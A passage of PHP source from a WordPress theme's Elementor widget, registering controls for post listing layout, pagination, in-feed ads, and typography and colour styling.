				'label_block' => true,
				'condition'   => array( 'penci_style' => array( 'mixed-3', 'mixed-4' ) ),
			)
		);

		$this->add_control(
			'aposts_per_page', array(
				'label'       => __( 'Posts Per Page', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => get_option( 'posts_per_page' ),
				'label_block' => true,
			)
		);

		$this->add_control(
			'penci_paging', array(
				'label'     => __( 'Page Navigation Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'numbers',
				'options'   => array(
					'numbers'  => esc_html__( 'Page Navigation Numbers', 'soledad' ),
					'loadmore' => esc_html__( 'Load More Posts', 'soledad' ),
					'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
					'none'     => esc_html__( 'None', 'soledad' ),
				),
				'separator' => 'before'
			)
		);
		$this->add_control(
			'morenum', array(
				'label'       => __( 'Custom Number Posts for Each Time Load More Posts', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 6,
				'label_block' => true,
				'condition'   => array( 'penci_paging' => array( 'loadmore', 'scroll' ) ),
			)
		);
		$this->add_responsive_control(
			'penci_paging_martop',
			array(
				'label'       => __( 'Margin Top for Page Navigation', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .penci-latest-posts-el .penci-pagination' => 'margin-top: {{SIZE}}{{UNIT}} !important'
				),
				'label_block' => true,
			)
		);
		$this->end_controls_section();

		$this->start_controls_section(
			'section_standard_classic_layout', array(
				'label' => esc_html__( 'Standard & Classic Layouts Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$standard_classic_opts = array(
			'standard_meta_overlay'   => array(
				'label'   => 'Enable Post Meta Overlay Featured Image',
				'desc'    => 'This option just apply for Standard Layout Only',
				'default' => ''
			),
			'standard_thumbnail'      => array( 'label' => 'Hide Post Thumbnail', 'desc' => '', 'default' => '' ),
			'std_dis_at_gallery'      => array(
				'label'   => 'Disable Autoplay for Slider on Posts Format Gallery',
				'desc'    => '',
				'default' => ''
			),
			'standard_thumb_crop'     => array(
				'label'   => 'Make Featured Image Auto Crop',
				'desc'    => '',
				'default' => ''
			),
			'standard_share_box'      => array( 'label' => 'Hide Share Icons', 'desc' => '', 'default' => '' ),
			'standard_cat'            => array( 'label' => 'Hide Category', 'desc' => '', 'default' => '' ),
			'standard_author'         => array( 'label' => 'Hide Post Author', 'desc' => '', 'default' => '' ),
			'standard_date'           => array( 'label' => 'Hide Post Date', 'desc' => '', 'default' => '' ),
			'standard_comment'        => array( 'label' => 'Hide Comment Count', 'desc' => '', 'default' => '' ),
			'standard_viewscount'     => array( 'label' => 'Show Views Count', 'desc' => '', 'default' => '' ),
			'standard_readtime'       => array( 'label' => 'Hide Reading Time', 'desc' => '', 'default' => '' ),
			'standard_remove_line'    => array(
				'label'   => 'Remove Line Above Post Excerpt',
				'desc'    => '',
				'default' => ''
			),
			'standard_auto_excerpt'   => array(
				'label'   => 'Showing Post Excerpt Instead of Full Content',
				'desc'    => '',
				'default' => 'yes'
			),
			'standard_remove_excerpt' => array(
				'label'   => 'Hide Post Content/Post Excerpt',
				'desc'    => '',
				'default' => ''
			),
			'standard_effect_button'  => array(
				'label'   => 'Disable Hover Effect on "Continue Reading" Button',
				'desc'    => '',
				'default' => ''
			),
		);

		foreach ( $standard_classic_opts as $standard_classic_key => $standard_classic_opt ) {
			$this->add_control(
				$standard_classic_key, array(
					'label'       => $standard_classic_opt['label'],
					'type'        => Controls_Manager::SWITCHER,
					'description' => $standard_classic_opt['desc'],
					'default'     => $standard_classic_opt['default'],
				)
			);
		}

		$this->add_control(
			'std_continue_btn', array(
				'label'     => 'Make "Continue Reading" is A Button',
				'type'      => Controls_Manager::SWITCHER,
				'condition' => array( 'standard_auto_excerpt' => 'yes' ),
			)
		);

		$this->add_control(
			'std_excerpt_align', array(
				'label'   => __( 'Post Excerpt Alignment', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'center',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' )
				),
			)
		);

		$this->add_control(
			'standard_title_length', array(
				'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'label_block' => true,
			)
		);
		$this->add_control(
			'standard_excerpt_length', array(
				'label' => __( 'Custom Excerpt Length', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
			)
		);
		$this->add_control(
			'std_continue_align', array(
				'label'     => __( 'Align "Continue Reading" Button', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'center',
				'options'   => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' )
				),
				'condition' => array( 'penci_style!' => array( 'overlay', 'boxed-1', 'boxed-2', 'photography' ) ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_order_layouts_layout', array(
				'label' => esc_html__( 'Other Layouts Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'order_layouts_note', array(
				'type'            => Controls_Manager::RAW_HTML,
				'content_classes' => 'elementor-descriptor',
			)
		);

		$this->add_control(
			'penci_featimg_size', array(
				'label'                => __( 'Image Size Type', 'soledad' ),
				'type'                 => Controls_Manager::SELECT,
				'default'              => '',
				'options'              => array(
					''           => esc_html__( 'Default', 'soledad' ),
					'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
					'square'     => esc_html__( 'Square Size', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
					'custom'     => esc_html__( 'Custom', 'soledad' ),
				),
				'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
				'selectors_dictionary' => array(
					'horizontal' => 'padding-top: 66.6667%;',
					'square'     => 'padding-top: 100%;',
					'vertical'   => 'padding-top: 135.4%;',
				),
				'condition'            => array( 'penci_style!' => array( 'masonry-2', 'masonry' ) ),
			)
		);
		$this->add_responsive_control(
			'penci_featimg_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_featimg_size' => 'custom' ),
			)
		);

		$this->add_control(
			'thumb_size', array(
				'label'     => __( 'Custom Image Size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'penci_featimg_size' => 'custom' ),
			)
		);

		$this->add_control(
			'thumb_bigsize', array(
				'label'       => __( 'Custom Image Size for Big Posts', 'soledad' ),
				'description' => __( 'This option apply for Overlay Posts & Big Posts on "Mixed Post" & "Mixed Posts Large" Layout', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => $this->get_list_image_sizes( true ),
				'condition'   => array( 'penci_featimg_size' => 'custom' ),
			)
		);

		$this->add_responsive_control(
			'order_columns', array(
				'label'          => __( 'Columns', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'default'        => '',
				'tablet_default' => '1',
				'mobile_default' => '1',
				'options'        => array(
					''  => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'condition'      => array( 'penci_style' => array( 'masonry-2', 'masonry' ) ),
			)
		);


		$this->add_control(
			'order_column_gap', array(
				'label'     => __( 'Columns Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-wrap-masonry'          => 'margin-right: calc({{SIZE}}{{UNIT}} * -1 / 2); margin-left: calc( {{SIZE}}{{UNIT}} * -1 / 2 )',
					'{{WRAPPER}} .penci-masonry .item-masonry' => 'padding-right: calc({{SIZE}}{{UNIT}} / 2); padding-left: calc({{SIZE}}{{UNIT}} / 2)',
				),
				'condition' => array( 'penci_style' => array( 'masonry' ) ),
			)
		);

		$this->add_control(
			'rmborder_bottom', array(
				'label'     => __( 'Remove Border Bottom on List Layouts', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-grid li.list-post'                                                                                                                                                                                                                                   => 'padding-bottom: 0; border-bottom: none;',
					'{{WRAPPER}} .penci-layout-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-layout-mixed-4 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp' => 'border-top: none; padding-top: 0;',
				),
			)
		);

		$this->add_control(
			'share_rmborder', array(
				'label'     => __( 'Remove Border Left & Right on Share Box', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid .penci-post-share-box' => 'padding: 0; background: none;',
					'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid:before'                => 'content: none;',
				),
			)
		);

		$order_layouts_opts = array(
			'grid_icon_format'     => array( 'label' => 'Hide Icon Post Format', 'desc' => '' ),
			'grid_meta_overlay'    => array( 'label' => 'Enable Post Meta Overlay Featured Image', 'desc' => '' ),
			'grid_nocrop_list'     => array(
				'label' => 'Do Not Crop Images in List & Small List Layouts',
				'desc'  => 'This option does not apply for gallery posts format'
			),
			'grid_share_box'       => array( 'label' => 'Hide Share Box', 'desc' => '' ),
			'grid_cat'             => array( 'label' => 'Hide Category', 'desc' => '' ),
			'grid_author'          => array( 'label' => 'Hide Post Author', 'desc' => '' ),
			'grid_date'            => array( 'label' => 'Hide Post Date', 'desc' => '' ),
			'grid_comment'         => array( 'label' => 'Hide Comment Count on Mixed, Overlay Posts', 'desc' => '' ),
			'grid_comment_other'   => array( 'label' => 'Show Comment Count on Other Posts', 'desc' => '' ),
			'grid_viewscount'      => array( 'label' => 'Show Views Count', 'desc' => '' ),
			'grid_readtime'        => array( 'label' => 'Hide Reading Time', 'desc' => '' ),
			'grid_remove_line'     => array( 'label' => 'Remove Line Above Post Excerpt', 'desc' => '' ),
			'grid_remove_excerpt'  => array( 'label' => 'Remove Post Excerpt', 'desc' => '' ),
			'grid_add_readmore'    => array( 'label' => 'Add "Read more" button link', 'desc' => '' ),
			'grid_remove_arrow'    => array( 'label' => 'Remove arrow on "Read more"', 'desc' => '' ),
			'grid_readmore_button' => array( 'label' => 'Make "Read more" is A Button', 'desc' => '' ),
		);

		foreach ( $order_layouts_opts as $order_layouts_key => $order_layouts_opt ) {
			$this->add_control(
				$order_layouts_key, array(
					'label'        => $order_layouts_opt['label'],
					'type'         => Controls_Manager::SWITCHER,
					'description'  => $order_layouts_opt['desc'],
					'return_value' => 'yes',
				)
			);
		}

		$this->add_control(
			'share_alignment', array(
				'label'       => __( 'Share Box Alignment', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left'
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center'
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right'
					)
				),
				'condition'   => array( 'penci_style!' => array( 'overlay', 'boxed-2', 'photography' ) ),
			)
		);

		$this->add_control(
			'grid_readmore_align', array(
				'label'   => __( 'Align "Read more" Button', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'left',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' )
				),
			)
		);
		$this->add_control(
			'grid_excerpt_align', array(
				'label'   => __( 'Post Excerpt Alignment', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'left',
				'options' => array(
					'left'   => esc_html__( 'Left', 'soledad' ),
					'center' => esc_html__( 'Center', 'soledad' ),
					'right'  => esc_html__( 'Right', 'soledad' )
				),
			)
		);

		$this->add_control(
			'grid_title_length', array(
				'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'label_block' => true,
			)
		);
		$this->add_control(
			'grid_excerpt_length', array(
				'label' => __( 'Custom Excerpt Length', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
			)
		);

		$this->add_responsive_control(
			'list_imgwidth',
			array(
				'label'       => __( 'Image Width on List & Small List Layout', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'size_units'  => array( 'px', '%' ),
				'range'       => array(
					'px' => array( 'min' => 0, 'max' => 1000, ),
					'%'  => array( 'min' => 0, 'max' => 99, ),
				),
				'devices'     => array( 'desktop', 'tablet' ),
				'selectors'   => array(
					'{{WRAPPER}} .penci-grid li.list-post.penci-slistp .item > .thumbnail, {{WRAPPER}} .penci-latest-posts-sc .penci-grid li.list-post .item > .thumbnail' => 'width: {{SIZE}}{{UNIT}}',
					'{{WRAPPER}} .penci-latest-posts-sc .penci-grid li.penci-item-listp .item .content-list-right'                                                         => 'width: calc( 100% - {{SIZE}}{{UNIT}} )',
				),
				'label_block' => true,
				'condition'   => array(
					'penci_style' => array(
						'list',
						'small-list',
						'mixed-3',
						'mixed-4',
						'standard-list',
						'classic-list',
						'overlay-list'
					)
				),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_infeed_ads', array(
				'label' => esc_html__( 'In-feed Ads', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'infeed_ads_note', array(
				'type'            => Controls_Manager::RAW_HTML,
				'content_classes' => 'elementor-descriptor',
			)
		);

		$this->add_control(
			'infeedads_num', array(
				'label'   => __( 'Insert In-feed Ads After Every How Many Posts?', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => '3',
			)
		);

		$this->add_control(
			'infeedads_code',
			array(
				'label'    => __( 'In-feed Ads Code/HTML', 'soledad' ),
				'type'     => Controls_Manager::CODE,
				'language' => 'html',
				'rows'     => 20,
			)
		);

		$this->add_control(
			'infeedads_layout', array(
				'label'   => __( 'In-feed Ads Layout Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''     => esc_html__( 'Follow Selected Layout', 'soledad' ),
					'full' => esc_html__( 'Full Width', 'soledad' ),
				)
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls_post();

		// Design
		$this->start_controls_section(
			'section_design_content', array(
				'label' => __( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'post_border_color',
			array(
				'label'     => __( 'Post Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-grid li.list-post'                          => 'border-color: {{VALUE}} !important;',
					'{{WRAPPER}} .penci-grid .list-post.list-boxed-post'            => 'border-color: {{VALUE}} !important;',
					'{{WRAPPER}} .penci-grid li.list-boxed-post-2 .content-boxed-2' => 'border-color: {{VALUE}} !important;',
					'{{WRAPPER}} .grid-mixed'                                       => 'border-color: {{VALUE}} !important;',
				),
				'condition' => array(
					'penci_style' => array(
						'list',
						'boxed-1',
						'boxed-2',
						'mixed',
						'standard-boxed-1'
					)
				),
			)
		);
		$this->add_control(
			'ptitle_style', array(
				'label' => __( 'Post Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);

		$ptitle_typo = '{{WRAPPER}} .entry-title,{{WRAPPER}} .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard .entry-title,{{WRAPPER}} .header-standard .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .overlay-header-box .entry-title,{{WRAPPER}} .overlay-header-box .entry-title a,';
		$ptitle_typo .= '{{WRAPPER}} .header-standard h2, {{WRAPPER}} .header-standard h2 a,';
		$ptitle_typo .= '{{WRAPPER}} .pc_titlebig_standard, {{WRAPPER}} .pc_titlebig_standard a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-grid li .item h2 a, {{WRAPPER}} .penci-grid li .item h2 a,';
		$ptitle_typo .= '{{WRAPPER}} .penci-masonry .item-masonry h2 a,{{WRAPPER}} .penci-masonry .item-masonry h2 a';
		$this->add_control(
			'ptitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					$ptitle_typo => 'color: {{VALUE}};'
				),
			)
		);
		$this->add_control(
			'ptitle_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .header-standard h2 a:hover,{{WRAPPER}} .entry-title a:hover'                        => 'color: {{VALUE}};',
					'{{WRAPPER}} .pc_titlebig_standard a:hover'                        => 'color: {{VALUE}};',
					'{{WRAPPER}} .overlay-header-box .overlay-title a:hover'                                          => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-grid li .item h2 a:hover,{{WRAPPER}} .penci-masonry .item-masonry h2 a:hover' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'bptitle_color', array(
				'label'     => __( 'Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-overlay .penci-entry-title a' => 'color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);
		$this->add_control(
			'bptitle_hcolor', array(
				'label'     => __( 'Hover Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-overlay .penci-entry-title a:hover' => 'color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => $ptitle_typo
			)
		);
		$this->add_responsive_control(
			'bptitle_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .entry-title a'             => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-title a'                        => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-title a'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-title a'  => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-title a'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-title a' => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-title a'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-title a'   => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-title a'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid .overlay-header-box .entry-title a'         => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .overlay-header-box .entry-title a'       => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-list .overlay-header-box .entry-title a'         => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .overlay-header-box .entry-title a'      => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .entry-title a'            => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array( 'penci_style' => $style_big_post ),
			)
		);
		// Post meta
		$this->add_control(
			'heading_meta_style',
			array(
				'label'     => __( 'Post Meta', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'pmeta_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .header-standard .author-post span,' .
					'{{WRAPPER}} .penci-post-box-meta .penci-box-meta span,' .
					'{{WRAPPER}} .penci-post-box-meta .penci-box-meta a'             => 'color: {{VALUE}};',
					'{{WRAPPER}} .overlay-author span,{{WRAPPER}} .overlay-author a' => 'color: {{VALUE}};',
					'{{WRAPPER}} .overlay-post-box-meta .overlay-share span,' .
					'{{WRAPPER}} .overlay-post-box-meta .overlay-share a,' .
					'{{WRAPPER}} .overlay-post-box-meta'                             => 'color: {{VALUE}};',
					'{{WRAPPER}} .grid-post-box-meta span'                           => 'color: {{VALUE}};',

				),
			)
		);
		$this->add_control(
			'author_color',
			array(
				'label'     => __( 'Author Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .header-standard .author-post span a,{{WRAPPER}} .overlay-author a,{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'bpauthor_color', array(
				'label'     => __( 'Author Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .grid-overlay .overlay-author span,{{WRAPPER}} .grid-overlay .overlay-author a' => 'color: {{VALUE}};',
				),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);

		$this->add_control(
			'pmeta_hcolor',
			array(
				'label'     => __( 'Post Meta Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-post-box-meta .penci-box-meta a:hover' => 'color: {{VALUE}};',
					'{{WRAPPER}} .overlay-author a:hover'                      => 'color: {{VALUE}};',
					'{{WRAPPER}} .grid-post-box-meta span a:hover'             => 'color: {{VALUE}};',
				),
			)
		);

		$pmeta_typo = '{{WRAPPER}} .header-standard .author-post,';
		$pmeta_typo .= '{{WRAPPER}} .penci-post-box-meta .penci-box-meta span,';
		$pmeta_typo .= '{{WRAPPER}} .penci-post-box-meta .penci-box-meta a,';
		$pmeta_typo .= '{{WRAPPER}} .overlay-author a,';
		$pmeta_typo .= '{{WRAPPER}} .overlay-header-box .overlay-author,';
		$pmeta_typo .= '{{WRAPPER}} .grid-post-box-meta';

		$pmeta_typo_bpost = '{{WRAPPER}} %1$s .header-standard .author-post,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .penci-post-box-meta .penci-box-meta span,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .penci-post-box-meta .penci-box-meta a,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .overlay-author a,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .overlay-header-box .overlay-author,';
		$pmeta_typo_bpost .= '{{WRAPPER}} %1$s .grid-post-box-meta';

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pmeta_typo',
				'selector' => $pmeta_typo
			)
		);
		$this->add_responsive_control(
			'bpmeta_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed .grid-mixed' )                        => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed-2 .item.overlay-layout' )             => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid article.format-standard' )    => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid-2 article.format-standard' )  => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-list article.format-standard' )    => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-boxed-1 article.format-standard' ) => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid article.format-standard' )     => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid-2 article.format-standard' )   => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-list article.format-standard' )     => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid .overlay-layout' )             => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid-2 .overlay-layout' )           => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-list .overlay-layout' )             => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-boxed-1 .overlay-layout' )          => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .grid-post-box-meta'          => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array( 'penci_style' => $style_big_post ),
			)
		);

		$this->add_control(
			'pmeta_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .header-standard:after'                        => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-overlay-over .overlay-header-box:after' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .grid-header-box:after'                        => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-post-box-meta'                          => 'border-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'bpmeta_border_color', array(
				'label'     => __( 'Border Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .grid-overlay .penci-overlay-over .overlay-header-box:after' => 'background-color: {{VALUE}};',
				),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);


		// Post Excrept
		$markup_excrept = '{{WRAPPER}} .post-entry.standard-post-entry, {{WRAPPER}} .post-entry.standard-post-entry p,';
		$markup_excrept .= '{{WRAPPER}} .penci-grid .entry-content,{{WRAPPER}} .penci-grid .entry-content p,';
		$markup_excrept .= '{{WRAPPER}} .entry-content,{{WRAPPER}} .entry-content p';

		$this->add_control(
			'heading_excerpt_style',
			array(
				'label'     => __( 'Post Excerpt', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'pexcerpt_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( $markup_excrept => 'color: {{VALUE}};' )
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pexcerpt_typo',
				'selector' => $markup_excrept,
			)
		);
		$this->add_responsive_control(
			'bpexcerpt_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-content,{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-content p'                                               => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-content p'       => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-content p'   => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-content p'       => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-content p' => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-content p'         => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-content p'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-content p'         => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array(
